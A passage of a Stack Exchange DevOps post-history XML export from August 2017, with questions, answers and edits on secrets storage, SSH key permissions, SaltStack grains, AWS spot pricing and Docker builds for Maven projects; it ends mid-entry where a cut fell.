  <row Id="5429" PostHistoryTypeId="1" PostId="1709" RevisionGUID="6e1dbd8d-424f-4e02-b936-df982cf398d4" CreationDate="2017-08-11T08:31:17.353" UserId="210" Text="Is Serf an added value when a container orchestration platform like kubernetes is used?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5430" PostHistoryTypeId="3" PostId="1709" RevisionGUID="6e1dbd8d-424f-4e02-b936-df982cf398d4" CreationDate="2017-08-11T08:31:17.353" UserId="210" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5431" PostHistoryTypeId="2" PostId="1710" RevisionGUID="fed725be-ba00-40c2-b55c-a3e4b87c6b8d" CreationDate="2017-08-11T09:12:49.883" UserId="3869" Text="Lastpass is for your personal (or team) passwords.I would not use last pass for storage credentials of service accounts. &#xD;&#xA;&#xD;&#xA;Use the  terraform's vault or any other solution like Amazon KMS for infraestructure secrets" ContentLicense="CC BY-SA 3.0" />
  <row Id="5432" PostHistoryTypeId="2" PostId="1711" RevisionGUID="dc242a24-6b24-4180-901d-d131dec68b27" CreationDate="2017-08-11T11:05:31.863" UserId="3055" Text="I have been tasked with using Salt Stack to find out what files/services exist in each of our environments (Test, UAT, Production).&#xD;&#xA;&#xD;&#xA;The Salt master can speak to all servers in Test and UAT (Production Salt master is yet to be configured) so I was thinking of creating a state in 'base' which can target all minions just doing simple file.exist queries. However I quickly came to the realisation that certain files won't exist on certain servers due to the different nature of them. E.g. Our API server has a lot of specific scripts and configs which won't exist on our LDAP server.&#xD;&#xA;&#xD;&#xA;What is the most efficient and scalable way of implementing this? Could I define roles for each type of server (e.g. webserver, ldap server, api server) and therefore a specific state for each role?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5433" PostHistoryTypeId="1" PostId="1711" RevisionGUID="dc242a24-6b24-4180-901d-d131dec68b27" CreationDate="2017-08-11T11:05:31.863" UserId="3055" Text="Best method of retrieving environment information via Salt Stack?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5434" PostHistoryTypeId="3" PostId="1711" RevisionGUID="dc242a24-6b24-4180-901d-d131dec68b27" CreationDate="2017-08-11T11:05:31.863" UserId="3055" Text="&lt;linux&gt;&lt;configuration-management&gt;&lt;salt&gt;&lt;scalability&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5435" PostHistoryTypeId="50" PostId="1512" RevisionGUID="4abc0772-1a73-40d7-a182-7f9775a283bb" CreationDate="2017-08-11T11:44:13.867" UserId="-1" />
  <row Id="5437" PostHistoryTypeId="2" PostId="1713" RevisionGUID="69b62e20-6202-4cd1-a343-9bb6281b99bf" CreationDate="2017-08-11T14:01:23.457" UserId="503" Text="I don't have enough rep to comment but I'm going to expand on what [RuBiCK][1] said.&#xD;&#xA;&#xD;&#xA;In the first case, if you have a password for JIRA that I'm going to use to log in to the website with and fiddle with some tasks, then this goes in LastPass. You can store it there and use the extension or the vault to help me remember a complex password. You can also use LastPass to send credentials to my team members and then they can use LastPass to log in with.&#xD;&#xA;&#xD;&#xA;In the second case, if you have made a script which asks AWS for what instances you have running right now then that script is going to need some credentials to log in with. You could put them in LastPass if you wanted but every time you went to run the script it would mean you have to go and get them from LastPass, enter them into the script somehow and get my list of instances.&#xD;&#xA;&#xD;&#xA;Vault however presents an API which your script can use to ask for credentials when it runs. The credentials are stored in a secure way by Vault and you can now store much more in there as well.&#xD;&#xA;&#xD;&#xA;The above is also why Vault wouldn't be useful for most people to do what they want to do. You don't want to have to write something to talk to Vault and create browser extensions etc when LastPass is, kind of, affordable and good at what it does.&#xD;&#xA;&#xD;&#xA;I hope this helps!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/3869/rubick" ContentLicense="CC BY-SA 3.0" />
  <row Id="5439" PostHistoryTypeId="5" PostId="1710" RevisionGUID="4cd2a426-6082-44c3-848d-a5b704050d26" CreationDate="2017-08-11T14:16:51.047" UserId="210" Comment="syntax issues" Text="Lastpass is for your personal (or team) passwords. I would not use Lastpass for storing credentials of service accounts. &#xD;&#xA;&#xD;&#xA;Use HashiCorp's Vault or any other solution like Amazon KMS for infrastructure secrets." ContentLicense="CC BY-SA 3.0" />
  <row Id="5440" PostHistoryTypeId="24" PostId="1710" RevisionGUID="4cd2a426-6082-44c3-848d-a5b704050d26" CreationDate="2017-08-11T14:16:51.047" Comment="Proposed by 210 approved by 46 edit id of 395" ContentLicense="CC BY-SA 3.0" />
  <row Id="5441" PostHistoryTypeId="10" PostId="1462" RevisionGUID="e1dba72c-917c-4710-bb83-1675e0443e0b" CreationDate="2017-08-11T14:17:17.767" UserId="46" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[1305],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="5442" PostHistoryTypeId="5" PostId="1687" RevisionGUID="65ddc565-3b27-4452-bc16-4500f324edab" CreationDate="2017-08-11T15:21:40.847" UserId="3851" Comment="Added how to fix the permissions if incorrect" Text="One way I get locked out while developing is by changing the permissions on any of the directories or files associated with the keys used by `ssh`.  This happens to me when I untar files or run some installation script while initializing the machine that touches the `ec2-user` account.&#xD;&#xA;&#xD;&#xA;Make sure the permissions are like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    1&gt; ls -ld $HOME $HOME/.ssh&#xD;&#xA;    drwx------ 15 ec2-user ec2-user 4096 Aug  1 13:15 /home/ec2-user/&#xD;&#xA;    drwx------  2 ec2-user ec2-user 4096 Jun 10 11:18 /home/ec2-user/.ssh/&#xD;&#xA;&#xD;&#xA;    2&gt; ls -l $HOME/.ssh/authorized_keys&#xD;&#xA;    -rw------- 1 ec2-user ec2-user 385 Jun 10 11:18 /home/ec2-user/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;If not, and you are logged in as `ec2-user`, you can change them with &#xD;&#xA;&#xD;&#xA;    sudo chown ec2-user:ec2-user ~ec2-user ~ec2-user/.ssh ~ec2-user/.ssh/authorized_keys&#xD;&#xA;    chmod 700 ~ec2-user ~ec2-user/.ssh&#xD;&#xA;    chmod 600 ~ec2-user/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;To protect myself against my own mistakes, I create a new user and copy the `ec2-user` key over.  That account is used as a backup and not part of any script.  Once I tested everything, I remove the account." ContentLicense="CC BY-SA 3.0" />
  <row Id="5443" PostHistoryTypeId="50" PostId="1496" RevisionGUID="175c0e56-913a-44cd-94e2-2e5242d2257d" CreationDate="2017-08-11T16:44:16.410" UserId="-1" />
  <row Id="5444" PostHistoryTypeId="2" PostId="1714" RevisionGUID="ecaa3c3d-8c29-48b1-bc4c-ad872cc195ec" CreationDate="2017-08-11T17:15:14.533" UserId="60" Text="I've being recently interviewed for a DevOps position. One of the questions I was asked was:&#xD;&#xA;&#xD;&#xA;&gt; What is your definition of &quot;done&quot; in the DevOps context?&#xD;&#xA;&#xD;&#xA;The question is rather broad, but, as I understand, the answer has to cover Automated builds &amp; tests as far as Continuous Integration &amp; Deployment &amp; Delivery. I am looking for general principles and ideas that can be used to define &quot;Done&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="5445" PostHistoryTypeId="1" PostId="1714" RevisionGUID="ecaa3c3d-8c29-48b1-bc4c-ad872cc195ec" CreationDate="2017-08-11T17:15:14.533" UserId="60" Text="Definition of &quot;Done&quot; for a devops professional" ContentLicense="CC BY-SA 3.0" />
  <row Id="5446" PostHistoryTypeId="3" PostId="1714" RevisionGUID="ecaa3c3d-8c29-48b1-bc4c-ad872cc195ec" CreationDate="2017-08-11T17:15:14.533" UserId="60" Text="&lt;continuous-integration&gt;&lt;terminology&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5447" PostHistoryTypeId="4" PostId="1714" RevisionGUID="cceb9ece-8f17-49f6-b0d5-37214f62fd2d" CreationDate="2017-08-11T17:23:41.387" UserId="60" Comment="edited title" Text="Definition of &quot;Done&quot; for devOps" ContentLicense="CC BY-SA 3.0" />
  <row Id="5448" PostHistoryTypeId="5" PostId="1714" RevisionGUID="f8ffcdb4-7660-4ff4-9266-89d2b4123e51" CreationDate="2017-08-11T17:42:51.697" UserId="60" Comment="added 1 character in body" Text="I've being recently interviewed for a DevOps position. One of the questions I was asked was:&#xD;&#xA;&#xD;&#xA;&gt; What is your definition of &quot;done&quot; in the DevOps context?&#xD;&#xA;&#xD;&#xA;The question is rather broad, but, as I understand, the answer has to cover Automated builds &amp; tests as well as Continuous Integration &amp; Deployment &amp; Delivery. I am looking for general principles and ideas that can be used to define &quot;Done&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="5449" PostHistoryTypeId="2" PostId="1715" RevisionGUID="552b6c72-2ec6-4983-98e7-bfe8046dead3" CreationDate="2017-08-11T17:43:19.273" UserId="6" Text="Instead of Continuous Integration and Continuous Delivery, I would define the definition of done as &quot;*Active Continuous Improvement at all levels of the organisation*&quot;.&#xD;&#xA;&#xD;&#xA;The other topics like automated builds, CI/CD, etc... these are just milestones and most definitely not the ultimate goal for the organisation in its DevOps efforts.&#xD;&#xA;&#xD;&#xA;It does look like it might be &quot;finished all DevOps&quot; once you have an automated system with continuous integration. But in fact, even should you reach this stage, you will find plenty more to do." ContentLicense="CC BY-SA 3.0" />
  <row Id="5450" PostHistoryTypeId="5" PostId="1715" RevisionGUID="dba29d86-315e-40f8-a48b-284e3e77d6de" CreationDate="2017-08-11T17:49:42.093" UserId="6" Comment="mention inertia" Text="Instead of Continuous Integration and Continuous Delivery, I would define the definition of done as &quot;*Active Continuous Improvement at all levels of the organisation*&quot;.&#xD;&#xA;&#xD;&#xA;The other topics like automated builds, CI/CD, etc... these are just milestones and most definitely not the ultimate goal for the organisation in its DevOps efforts.&#xD;&#xA;&#xD;&#xA;It does look like it might be &quot;finished all DevOps&quot; once you have an automated system with continuous integration. But in fact, even should you reach this stage, you will find plenty more to do.&#xD;&#xA;&#xD;&#xA;Getting to a state where most people in the organization are constantly looking to continuously improve is extremely hard. Inertia often gets in the way, both existing inertia, and new inertia once some improvements were accomplished.&#xD;&#xA;&#xD;&#xA;There is a lot to learn from Lean and from Theory of Constraints in this aspect. Both bodies of knowledge focus on the process of continuous/ongoing improvement and how to establish this process in an organization." ContentLicense="CC BY-SA 3.0" />
  <row Id="5451" PostHistoryTypeId="2" PostId="1716" RevisionGUID="98c8fded-cf20-42d8-8c49-1a20697a0889" CreationDate="2017-08-11T20:03:24.023" UserId="47" Text="It's not currently possible to list all the accessible buckets **across all cloud projects**, neither in the developer console browser nor via the `gsutil` command. Both of them only display buckets for one project at a time.&#xD;&#xA;&#xD;&#xA;But if you specify a particular project (or stick with the one selected by default) you can list the accessible buckets inside that project in both `gsutil` (as shown in @chupasaurus's answer) and in the developer console browser. In the browser you get to the project selection popup by clicking on the project's dropdown menu in the top navigation bar.&#xD;&#xA;&#xD;&#xA;You could try to file a feature request for it at https://issuetracker.google.com/components/187243/manage#basic, it *might* get accepted if it shows enough interest." ContentLicense="CC BY-SA 3.0" />
  <row Id="5452" PostHistoryTypeId="2" PostId="1717" RevisionGUID="2b9fa50b-a07b-4dcf-b63c-aa49126cfd0f" CreationDate="2017-08-11T20:04:48.307" UserId="503" Text="From what I know of AWS Config there's no way at the moment to directly publish a metric from which you can base an alarm.&#xD;&#xA;&#xD;&#xA;If the notification has to come from a Cloudwatch alarm then AWS Config will let you execute Lambda based on rules set up in AWS Config - [link][1].&#xD;&#xA;&#xD;&#xA;If you want a simpler option AWS Config also lets you publish directly to an SNS topic when your rule is evaluated - [link][2]&#xD;&#xA;&#xD;&#xA;Failing this you can also watch for CloudTrail events and then publish a CloudWatch metric which you can base an alarm on. This is fairly in depth though and if the important part is getting the emails to be looked at by a person then your best bet is probably to have AWS Config publish directly to SNS itself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/config/latest/developerguide/evaluate-config_develop-rules_nodejs-sample.html&#xD;&#xA;  [2]: http://docs.aws.amazon.com/config/latest/developerguide/notifications-for-AWS-Config.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5453" PostHistoryTypeId="2" PostId="1718" RevisionGUID="3b638c64-d930-4420-94b9-9e89b0b54867" CreationDate="2017-08-11T20:25:01.943" UserId="3888" Text="I created a Project at Google CloudPlatform, and followed it's on screen tutorial to deploy an PHP app.&#xD;&#xA;&#xD;&#xA;Now that it's done, how can I delete/remove the deployed app to prevent charges.&#xD;&#xA;&#xD;&#xA;I saw an option at: &quot;`Google Cloud App Engine -&gt; Settings -&gt; Disable App`&quot; but does it prevent charges?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5454" PostHistoryTypeId="1" PostId="1718" RevisionGUID="3b638c64-d930-4420-94b9-9e89b0b54867" CreationDate="2017-08-11T20:25:01.943" UserId="3888" Text="Google CloudPlatform remove/delete app deployed during tutorial steps" ContentLicense="CC BY-SA 3.0" />
  <row Id="5455" PostHistoryTypeId="3" PostId="1718" RevisionGUID="3b638c64-d930-4420-94b9-9e89b0b54867" CreationDate="2017-08-11T20:25:01.943" UserId="3888" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5456" PostHistoryTypeId="2" PostId="1719" RevisionGUID="a3a0ef96-09c6-48f8-8fac-8a0325ff51c6" CreationDate="2017-08-11T21:08:27.500" UserId="47" Text="Yes, disabling an application prevents charges, but only from the App Engine prospective, there could still be other changes from other Cloud products usage. From [Disabling an application][1]:&#xD;&#xA;&#xD;&#xA;&gt; Your app's resources in both the standard and flexible environment are&#xD;&#xA;&gt; disabled and therefore, won't incur charges. However, billing charges&#xD;&#xA;&gt; can still occur for the other services in your Cloud Platform project,&#xD;&#xA;&gt; for example you can still incur storage charges for your stored data.&#xD;&#xA;&#xD;&#xA;To completely end all Cloud billing for a project you can [shut it down][2] (i.e. mark it for deletion!). But please note that you won't be able to re-use its ID, ever.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/docs/standard/python/console/#disabling_an_application&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/standard/python/console/#shutting_down_a_project" ContentLicense="CC BY-SA 3.0" />
  <row Id="5457" PostHistoryTypeId="2" PostId="1720" RevisionGUID="db31d137-60c2-4461-bd09-bbfd23eca4c1" CreationDate="2017-08-12T03:03:18.717" UserId="2962" Text=" While trying to create spot instances I notices that the Price for almost all instance types (from m3 , c3, c4) are always higher than the On-Demand price of corresponding variants in us-east-1c and us-east-1f regions (for almost 3 months) &#xD;&#xA;&#xD;&#xA; Can someone explain why? Is AWS falling short of VMs in those AZs?&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ZPH3r.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="5458" PostHistoryTypeId="1" PostId="1720" RevisionGUID="db31d137-60c2-4461-bd09-bbfd23eca4c1" CreationDate="2017-08-12T03:03:18.717" UserId="2962" Text="AWS Spot instances price" ContentLicense="CC BY-SA 3.0" />
  <row Id="5459" PostHistoryTypeId="3" PostId="1720" RevisionGUID="db31d137-60c2-4461-bd09-bbfd23eca4c1" CreationDate="2017-08-12T03:03:18.717" UserId="2962" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5460" PostHistoryTypeId="2" PostId="1721" RevisionGUID="628a8ee1-1c8a-4e49-a4c9-b0a0959c1b3e" CreationDate="2017-08-12T03:17:29.730" UserId="2962" Text="DevOps is a continuous improvement in delivery cycles and meeting customer needs with top quality , less time and security without compromise on cost and performance. And of-course repeat the cycles with feedback from customers.&#xD;&#xA;&#xD;&#xA;Ideally there is **NO** getting it all **&quot;Done&quot;** on DevOps. This question is rather a tricky one because its similar to asking &#xD;&#xA;&#xD;&#xA;&gt; When are you done with development or sales of a software in  a Software&#xD;&#xA;&gt; company?&#xD;&#xA;&#xD;&#xA;&gt; Ans: Obviously once the company shuts down or you get kicked out !&#xD;&#xA;&#xD;&#xA;Similarly there is no **Done** for DevOps culture. Of course there are deliverable and mile stones which one needs to complete like automating mundane repeated tasks , CICD pipelines etc&#xD;&#xA;&#xD;&#xA;A very good explanation for DevOps given by IBM DevOps head.&#xD;&#xA;&#xD;&#xA;https://www.youtube.com/watch?v=EIvOZA1HgHU&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5461" PostHistoryTypeId="2" PostId="1722" RevisionGUID="d25429de-352e-4c9d-8f2c-937730be6257" CreationDate="2017-08-12T03:31:50.720" UserId="2962" Text="**Thumb Rule:** Not finding a root cause is Not a solution&#xD;&#xA;&#xD;&#xA;Now from your inputs What we get is &#xD;&#xA;&#xD;&#xA;1. You get locked out while using SSH login (passwordless)&#xD;&#xA;2. You are able to login if its password login&#xD;&#xA;&#xD;&#xA;what I think might have happened is that your private key file format might have been changing (one consideration is EOL) if you are using a windows / mac or linux editors or switching between them for SSHing into the remote.&#xD;&#xA;&#xD;&#xA; So do a &quot;cat -e ~/.ssh/id_rsa&quot; and check the contents if you see a ^M at the End of the line , then most probably you have edited the private file with a CRLF editor. Do a &quot;dos2unix ~/.ssh/id_rsa&quot; to convert the file to LF format&#xD;&#xA;&#xD;&#xA;Check this&#xD;&#xA;https://unix.stackexchange.com/questions/32001/what-is-m-and-how-do-i-get-rid-of-it" ContentLicense="CC BY-SA 3.0" />
  <row Id="5462" PostHistoryTypeId="2" PostId="1723" RevisionGUID="8485ce91-6344-4bf0-ace9-a7a39595b87b" CreationDate="2017-08-12T06:09:14.507" UserId="446" Text="Essentially yes. From what I've observed when there is limited capacity in that availability zone the spot price jumps to 10x the on demand price.&#xA;&#xA;Be sure to use as many AZs as possible (6 currently in us-east-1) when using spot instances to provide better guarantees you can launch an instance." ContentLicense="CC BY-SA 3.0" />
  <row Id="5463" PostHistoryTypeId="2" PostId="1724" RevisionGUID="87a229d1-9773-48fc-945e-b5b88b85d6dc" CreationDate="2017-08-12T06:14:33.970" UserId="446" Text="Use Step Functions. They allow you to coordinate lambda functions and have an inbuilt wait state" ContentLicense="CC BY-SA 3.0" />
  <row Id="5464" PostHistoryTypeId="50" PostId="1526" RevisionGUID="ce2aa863-ba19-4615-b75f-cbfa1accdc8f" CreationDate="2017-08-12T08:58:35.347" UserId="-1" />
  <row Id="5465" PostHistoryTypeId="2" PostId="1725" RevisionGUID="4b54b5e0-09fa-4b38-9cbe-1560d4c642b3" CreationDate="2017-08-12T11:40:09.657" UserId="3894" Text="I am trying to make images from our company Maven based applications. These apps are using some libraries which are included in a Maven repository, but fills a lot of disk space. They also have some dependencies which should be downloaded. I have seen [this question](https://devops.stackexchange.com/questions/1039/using-gitlab-ci-to-cache-maven-repository) which is talking about downloading dependencies (and unfortunately has no approved answer), but for me it is more important to use my local repository without adding it to the image (which increases image size from 300M to 4G) and caching downloading dependencies is in the second place.&#xD;&#xA;&#xD;&#xA;If I wanted to `ADD` my local repository to the image, I would have make this `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    FROM java:8.0_31&#xD;&#xA;    MAINTAINER Zeinab Abbasimazar (zeinab.abbasi@peykasa.ir)&#xD;&#xA;    ADD .m2/ $HOME&#xD;&#xA;    WORKDIR .&#xD;&#xA;    RUN apt-get update;apt-get install -y maven;cd Development/;mvn clean install -P test&#xD;&#xA;    CMD [&quot;./Component.sh &amp;&quot;]&#xD;&#xA;&#xD;&#xA;Which makes this image:&#xD;&#xA;&#xD;&#xA;    sudo docker images&#xD;&#xA;    REPOSITORY                                   TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    maven                                        3.3.9               44ab79a0bd9e        2 hours ago         4.678 GB&#xD;&#xA;&#xD;&#xA;This size for an image is not affordable for me; could anyone please help  me on this? Is there any workaround using `gitlab` or `Jenkins` to play `Maven Repository` role?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5466" PostHistoryTypeId="1" PostId="1725" RevisionGUID="4b54b5e0-09fa-4b38-9cbe-1560d4c642b3" CreationDate="2017-08-12T11:40:09.657" UserId="3894" Text="Make use of CIs as Maven Repository in order to use it for building Docker images without including dependencies" ContentLicense="CC BY-SA 3.0" />
  <row Id="5467" PostHistoryTypeId="3" PostId="1725" RevisionGUID="4b54b5e0-09fa-4b38-9cbe-1560d4c642b3" CreationDate="2017-08-12T11:40:09.657" UserId="3894" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;maven&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5468" PostHistoryTypeId="2" PostId="1726" RevisionGUID="441fb2b8-32b6-4b09-b23c-f31eaed74521" CreationDate="2017-08-12T15:03:14.593" UserId="405" Text="You notice that you now have access to 6 availability zones in us-east-1, where you previously only had 4 or 5.  &#xD;&#xA;&#xD;&#xA;Adding capacity is the reason that new availability zone is now available.&#xD;&#xA;&#xD;&#xA;Because of the way the spot market works, there is no way to know what the highest winning bid was, at any given time... because the current market price is based on the *lowest* winning big for each round.  That sounds counter-intuitive, but here's the logic: given *n* available instances in the spot market, the system identifies the highest *n* bids.  These bids are the winning bids.  The *lowest* of these winning bids is the price all of the winners will pay, and becomes the new current market price. &#xD;&#xA;&#xD;&#xA;Each time the market shifts (new bids arrive, or active apot requests are canceled, or on-demand instances are started/stopped, presumably resulting in the available spot pool growing or shrinking), the system re-evaluates all the bids.  If you are no longer a winning bidder, your instance will be terminated, but if you're a new winner, you'll get the instance you've been waiting for.&#xD;&#xA;&#xD;&#xA;Based on what's publicly known, we can conclude these things:&#xD;&#xA;&#xD;&#xA;* the current market price is the lowest bid among all the current winning bidders, assuming there are any winning bidders&#xD;&#xA;* you will not get a spot instance right now if you bid below the current market price, but you'll get one if/when the price drops below your current bid.&#xD;&#xA;&#xD;&#xA;Therefore, when the spot price is at maximum, there are no unsold spot instances.  We can logically conclude that this is necessarily true, because:&#xD;&#xA;&#xD;&#xA;* a single winning bid that is lower than the maximum would cause the market price to be lower than thr maximum; therefore, it defies logic that there could be any spare capacity, because this implies that all current winning spot instance bidders made outrageous bids when they could have obtained the instances for substantially less money either by placing a smaller spot bid or by using an on-demand instance&#xD;&#xA;&#xD;&#xA;* it also defies logic that AWS would artificially inflate the price above the on-demand price, because there is no rational reason for someone to pay more in the spot market when the could use an on-demand instance.&#xD;&#xA;&#xD;&#xA;We can further conclude that one of two things has happened to cause this, both of which have the same net result:&#xD;&#xA;&#xD;&#xA;* there is no spot capacity available at all -- if this is true, it makes sense that the indicated price would stick to the upper maximum value, because you must bid at or above the current price to get an instance now.  The actual market price in a situation where there is no capacity at all would be more properly called `NULL` because there is no price at which you can obtain a spot instance.  Or, you might say the current market price is infinite, because regardless of how high you bid, you can't have a machine that doesn't exist.  Some might naïvely say the current price is $0 but that is definitely incorrect and would send the wrong market signal.  Where this leaves us is that the most logical *representation* for the price in a zero-capacity condition would be the maximum/ceiling price.  This gives a clear market signal to any sensible algorithm -- don't bid in this market, the value is not there; or&#xD;&#xA;* there is some capacity, but it's all claimed by people who bid the maximum possible.&#xD;&#xA;&#xD;&#xA;Which of these two conditions is actually true doesn't matter, because the net impact is the same -- no available capacity.&#xD;&#xA;&#xD;&#xA;If that second possibility doesn't make sense to you, that's because you are a rational person.  There are always people who try to game the system.&#xD;&#xA;&#xD;&#xA;Instances in the spot market are ephemeral, since the market shifts are outside your control.  I've had spot instances run uninterrupted for many months on end, and I've had them cycle up and down many times over the course of one day.  This is part of the market.  &#xD;&#xA;&#xD;&#xA;It is possible to improve the chance of a spot instance persisting by placing a high bid... but it is not possible to *guarantee* that a spot instance will keep running, regardless of how high you bid... because even if all the high bidders colluded with each other and bid the exact same high price, the capacity is finite, so if all current spot instance capacity is sold, not all of the high bidders would have machines allocated to them.&#xD;&#xA;&#xD;&#xA;However, there's always that guy who thinks he's smarter than the rest of us, bidding far too high, presumably on the assumption that his instances are likely to continue running, and that since price spikes are transient, he expects only to pay the high price for only a short time.  If there are such gamblers in the market, then they would have the same effect of pushing the price to its limit when capacity is constrained.  This becomes clearest when you consider the fact that if there were only 1 available machine, then only 1 person needs to place an outrageous bid, to set the market price unreasonably high.&#xD;&#xA;&#xD;&#xA;The maximum spot price bid is now [10x the on-demand price](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-spot-limits.html).  This has not always been the case.  The logical conclusion is that there are indeed those who bid outrageously high, because they are trying to game the system and use spot instances for a persistent workload, so they bid high to try to keep those machines running.  It's a flawed strategy, but it does explain the prices hitting the ceiling and sticking there when capacity is limited." ContentLicense="CC BY-SA 3.0" />
  <row Id="5469" PostHistoryTypeId="5" PostId="78" RevisionGUID="37e0daa1-b2c7-4503-97ba-49f6c4f926e2" CreationDate="2017-08-12T16:56:48.133" UserId="210" Comment="removed some subjective text, replaced tag with more applicable one about planning and managing releases" Text="Where does the origin of the [Release Early, Release Often (RERO)][1] principle come from?&#xD;&#xA;&#xD;&#xA;  [1]: https://duckduckgo.com/?q=%22Release%20early%20and%20often.%22" ContentLicense="CC BY-SA 3.0" />
  <row Id="5470" PostHistoryTypeId="6" PostId="78" RevisionGUID="37e0daa1-b2c7-4503-97ba-49f6c4f926e2" CreationDate="2017-08-12T16:56:48.133" UserId="210" Comment="removed some subjective text, replaced tag with more applicable one about planning and managing releases" Text="&lt;release-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5471" PostHistoryTypeId="24" PostId="78" RevisionGUID="37e0daa1-b2c7-4503-97ba-49f6c4f926e2" CreationDate="2017-08-12T16:56:48.133" Comment="Proposed by 210 approved by 40 edit id of 394" ContentLicense="CC BY-SA 3.0" />
  <row Id="5472" PostHistoryTypeId="6" PostId="78" RevisionGUID="6e576ec9-f3d3-4270-8b7f-b2db65aa3892" CreationDate="2017-08-12T19:06:03.253" UserId="3" Comment="Adds a tag." Text="&lt;release-management&gt;&lt;agile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5473" PostHistoryTypeId="2" PostId="1727" RevisionGUID="f8a83d0f-b718-40e8-bfd4-951ee1c44f03" CreationDate="2017-08-12T22:40:49.677" UserId="3899" Text="SaltStack provides a method for modifying grains and adding additional information to the grains dictionary in several different ways by either setting them in the /etc/salt/minion config and/or through the /etc/salt/grains file. &#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;1. add grains to the minion config. Note, simply include the grains key here:&#xD;&#xA;&#xD;&#xA;&gt;     id: minion-07&#xD;&#xA;&gt;     grains:&#xD;&#xA;&gt;       roles:&#xD;&#xA;&gt;         - production&#xD;&#xA;&gt;       region: nl-amsterdam&#xD;&#xA;&#xD;&#xA;2. add custom grains within the /etc/salt/grains file. Note, add grains without prefacing them with grains:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&gt;        roles:&#xD;&#xA;&gt;            - production&#xD;&#xA;&gt;          region: nl-amsterdam&#xD;&#xA;&#xD;&#xA;3. Alternatively you may set roles via command line shell from master or from salt minion: &#xD;&#xA;&#xD;&#xA;&gt; `salt 'your minion' grains.setval roles [production, dev, qa]`&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; `salt-call grains.setval roles [production, dev, qa]`&#xD;&#xA;&#xD;&#xA;For matching grains I usually use Jinja2. Or you may refer to commandline/config file approaches: &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt; `salt -C 'G@roles:production' test.ping`&#xD;&#xA;&#xD;&#xA;By using sytnax in the top.sls file:&#xD;&#xA;&#xD;&#xA;&gt;     base:&#xD;&#xA;&gt;       'roles:production':&#xD;&#xA;&gt;         - match: grain&#xD;&#xA;&gt;         - salt.master&#xD;&#xA;&gt;       'roles:dev':&#xD;&#xA;&gt;         - match: grain&#xD;&#xA;&gt;         - api-dev" ContentLicense="CC BY-SA 3.0" />
  <row Id="5474" PostHistoryTypeId="5" PostId="1727" RevisionGUID="418ba672-22e0-492f-b547-dcf9ce81fad6" CreationDate="2017-08-12T23:02:37.800" UserId="3899" Comment="added 304 characters in body" Text="SaltStack provides a method for modifying grains and adding additional information to the grains dictionary in several different ways by either setting them in the /etc/salt/minion config and/or through the /etc/salt/grains file. &#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;1. add grains to the minion config. Note, simply include the grains key here:&#xD;&#xA;&#xD;&#xA;&gt;     id: minion-07&#xD;&#xA;&gt;     grains:&#xD;&#xA;&gt;       roles:&#xD;&#xA;&gt;         - production&#xD;&#xA;&gt;       region: nl-amsterdam&#xD;&#xA;&#xD;&#xA;2. add custom grains within the /etc/salt/grains file. Note, add grains without prefacing them with grains:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&gt;        roles:&#xD;&#xA;&gt;            - production&#xD;&#xA;&gt;          region: nl-amsterdam&#xD;&#xA;&#xD;&#xA;3. Alternatively you may set roles via command line shell from master or from salt minion: &#xD;&#xA;&#xD;&#xA;&gt; `salt 'your minion' grains.setval roles [production, dev, qa]`&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; `salt-call grains.setval roles [production, dev, qa]`&#xD;&#xA;&#xD;&#xA;For matching grains I usually use Jinja2. Or you may refer to commandline/config file approaches: &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt; `salt -C 'G@roles:production' test.ping`&#xD;&#xA;&#xD;&#xA;By using sytnax in the top.sls file:&#xD;&#xA;&#xD;&#xA;&gt;     base:&#xD;&#xA;&gt;       